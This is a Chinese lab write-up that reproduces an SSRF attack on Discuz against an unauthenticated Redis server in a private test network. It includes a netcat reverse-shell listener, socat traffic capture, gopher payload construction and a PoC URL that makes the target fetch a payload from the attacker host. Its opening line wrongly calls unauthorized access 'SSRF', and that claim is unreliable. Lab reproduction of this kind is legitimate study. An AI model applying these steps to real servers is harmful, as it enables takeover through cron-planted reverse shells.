前言

未授权访问漏洞简写是SSRF(Server-Side Request Forgery:服务器端请求伪造),是一种服务器端提供了可以从其他服务器获取资源和数据的功能,但没有对目标地址进行过滤和限制,导致可以任意访问服务器端获取数据资源的漏洞,我们本次复现用到的是discuz+redis的环境

Redis漏洞原理

Redis默认的绑定端口是0.0.0.0:6379,如果没有在设置密码或者密码为弱密码的情况下且没有使用有效的保护措施,如此一来,在公网的Redis服务器就会被任意的用户进行未授权访问,读取数据,获取资源,写入恶意文件等。

靶场环境

攻击机: kali: 192.168.31.153

测试机: centos7-1: 192.168.31.207

靶机: centos7-2: 192.168.31.230

所需要的环境和脚本链接:https://pan.baidu.com/s/1YE749PP1RcNGJYrpxMvE_A?pwd=xihw

安装discuz+Redis环境

discuz搭建

centos7-2下载安装discuz,首先搭建apache服务器 yum install -y httpd httpd-devel

service httpd.service start //开启apache服务

service httpd.service status //查看apache状态

安装mysql,在centos中的mysql是mariadb,而不是mysql

yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装

service mariadb.service start //启动mariadb服务
service mariadb.service status //查看状态
netstat -an //查看端口

安装php,将php和mysql关联起来

yum install -y php
yum -y install php-mysql

将下载的discuz放到/var/www/html下,并赋予可读可写权限

chown apache:apache -R upload/   //赋予所属组
chmod -R 777 upload/ //赋予可读可写可执行权限
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上 service firewalld stop //关闭防火墙

在物理机访问

这里都是不可写,需要修改/etc/selinux/config,修改完重启虚拟机 reboot

重启完成后开启apache服务和mariadb服务,再次访问就是可写

redis搭建

1.下载redis包 解压进入redis目录 2.make编译3.然后编译完成进入/src目录 4.将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务

执行redis-server,出现以下界面说明搭建成功一半,另一半自己重新开一个终端,执行redis-cli ,出现第二张图示例说明搭建成功

漏洞复现

首先在centos7-1下载安装redis环境,然后用于测试脚本,这是我事先准备好的脚本

给kali监听6666端口 nc -lvnp 6666

centos7-1 执行 bash aa.sh 127.0.0.1 6379 ,大概等一分钟,查看kali1是否反弹权限

测试成功,接下来查看并删除centos7-1计划任务,使用socat端口转发工具(如果没有就使用yum install socat下载),用来抓取redis攻击的数据包,再使用万金油gopher协议构造poc

将2222端口数据转发给6379

socat -v tcp-listen:2222,fork tcp-connect:localhost:6379

bash aa.sh 127.0.0.1 2222

将数据包编写到一个mm.log中,复制完,保存前先要查看一下文件是不是fileformat=unix

按esc键 然后 :set ff 查看 显示fileformat=unix

然后就是要用到一个python脚本,可以将保存下来的东西保存为RESP格式,而gopher万金油协议就刚好支持这个格式

将代码复制到kali,新建一个go.php,然后保存退出,开始攻击

kali:
nc -lnvp 6666
poc:
http://192.168.31.230/discuz/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.31.153/go.php?data=he2lo.jpg[/img] 执行之前,记得开启centos7-2的redis-server

能看到centos7-2有计划任务,kali有反弹,复现成功,ip是centos7-2的ip

未授权访问漏洞之Redis漏洞复现的更多相关文章

  1. jboss 未授权访问漏洞复现

    jboss 未授权访问漏洞复现 一.漏洞描述 未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件. 二.漏洞环境搭建及复 ...

  2. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  3. [Shell]Redis未授权访问反弹shell

    原作者:Cream 文章出处: 贝塔安全实验室 0x01 Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value ...

  4. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  5. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

  6. [转帖]Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 https://www.cnblogs.com/yuzly/p/11663822.html config set dirconfig set dbfile xxxx 一. ...

  7. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  8. Redis未授权访问漏洞复现与利用

    漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...

  9. Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用

    关于Redis Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 ...

  10. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

随机推荐

  1. 洛谷P2880 [USACO07JAN] Balanced Lineup G(树状数组/线段树)

    维护区间最值的模板题. 1.树状数组 1 #include<bits/stdc++.h> 2 //树状数组做法 3 using namespace std; 4 const int N=5 ...

  2. 洛谷P4011 【网络流24题】 孤岛营救问题 (BFS+状压)

    一道妙题啊......(不知道为什么这道题的标签是网络流,不需要用网络流啊) 如果没有门和钥匙,连边(边权为1)求最短路就行了. 但是有这两个因素的限制,我们采用分层建图的思想,一共2p层,每层对应持 ...

  3. 鸟哥linux私房菜习题总结

    第零章 1.请找出世界上跑得最快的超级计算机的相关信息? 系统名称:天河二号. 所在位置:中国广州中山大学超算中心. 使用的cpu型号与规格:采用的是Intel的Ivy Bridge处理器与Xeon ...

  4. 运行eeui项目不出现 WiFI真机同步 IP地址

    从git上 clone项目之后,安装依赖  npm install eeui环境配置    npm install eeui-cli -g 问题:npm run dev  后项目一直不出现 WiFI真 ...

  5. 设计模式常用的UML图------类图

    关系 UML将事物之间的联系归纳为6种,对应响应的图形 关联 定义:表示拥有的关系,具有方向性,一个类单向访问一个类,为单向关联.两个类可以相互访问,为双向关联. 聚合 定义:整体与部分的关系. 组合 ...

  6. python基础之常用数据类型和字符串

    一.数据类型 在python3中有六大标准数据类型:Numbers(数字).String(字符串).List(列表).Tuple(元组).Sets(集合).Dictionaries(字典). 其中: ...

  7. python不确定性计算之粗糙集属性约简

    粗糙集属性约简 本实验同时采用区别矩阵和依赖度约简. 在依赖度约简中,设置依赖度计算函数和相对约简函数,对读取的数据进行处理,最后根据依赖度约简. 在读取数据后判断有无矛盾,若有则进行决策表分解,然后 ...

  8. SpringCloud微服务实战——搭建企业级开发框架(四十七):【移动开发】整合uni-app搭建移动端快速开发框架-添加Axios并实现登录功能

      uni-app自带uni.request用于网络请求,因为我们需要自定义拦截器等功能,也是为了和我们后台管理保持统一,这里我们使用比较流行且功能更强大的axios来实现网络请求.   Axios ...

  9. springMVC必要jar包

    spring-aop-4.3.2.RELEASE.jar :: 包含在应用中使用Spring 的AOP 特性时所需的类和源码级元数据支持. spring-beans-4.3.2.RELEASE.jar ...

  10. 利用nginx自带的反向代理以及轮询功能实现应用的负载均衡

    针对中间件部署的应用(war包),可使用nginx自带的反向代理以及轮询功能,实现应用的负载均衡. 一.架构图 二.环境准备 准备2套环境,如19.1.0.18:7001,19.1.0.16:7001 ...